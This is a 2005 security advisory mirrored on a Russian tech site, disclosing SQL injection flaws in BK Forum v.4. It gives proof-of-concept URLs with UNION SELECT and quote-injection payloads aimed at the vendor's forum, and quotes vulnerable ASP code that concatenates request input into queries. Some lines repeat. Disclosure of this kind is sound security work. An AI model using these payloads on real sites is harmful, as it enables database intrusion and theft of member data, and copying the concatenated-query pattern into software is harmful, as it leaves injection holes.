The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Multiple Sql injection vulnerabilities in BK Forum v.4


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 23 Apr 2005 14:46:35 -0000
From: dcrab <dcrab@hackerscenter.com.>
To: [email protected]
Subject: Multiple Sql injection vulnerabilities in BK Forum v.4
X-Virus-Scanned: antivirus-gw at tyumen.ru



Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah

Severity: High
Title: Multiple Sql injection vulnerabilities in BK Forum v.4
Date: 23/04/2005

Vendor: BKdev
Vendor Website: http://www.bkdev.net
Summary: There are, multiple sql injection vulnerabilities in bk forum v.4.


Proof of Concept Exploits: 

http://forum.bkdev.net/member.asp?id=10%20UNION%20Select%20*%20from%20Member%20where%20memName%20=%20'dc'
       id = request.querystring("id")
        sql = "select * from Member where memID = " & id
        set rs = conn.execute(sql)
        set rs = conn.execute(sql)
http://forum.bkdev.net/forum.asp?forum='SQL INJECTION
http://forum.bkdev.net/forum.asp?forum='SQL INJECTION
        id = request.querystring("id")
        sql = "select * from Member where memID = " & id
        set rs = conn.execute(sql)
        set rs = conn.execute(sql)
http://forum.bkdev.net/register.asp


All the form values are vulnerable to sql injection
         sql = "insert into Member (memName, memPassword, memFirstName, memLastName, memEmail, memHomepage, " & _
                                                                        "memDate, memLevel, memSignature, memPic, memAbout, memAcceptNotification, memShowAvatar, memLoggedOn, " & _
                                                                        "memLastActive) values ('" & memname & "', '" & mempw & "', '" & firstname & "', '" & lastname & "', " & _
                                                                        "'" & email & "', '" & homepage & "', #" & now & "#, " & LEVEL_MEMBER & ", '" & signature & "', " & _
                                                                        "'" & picture & "', '" & about & "', " & notify & ", " & avatar & ", " & false & ", #" & now & "#)"
                                                                        "'" & picture & "', '" & about & "', " & notify & ", " & avatar & ", " & false & ", #" & now & "#)"


Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php.


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру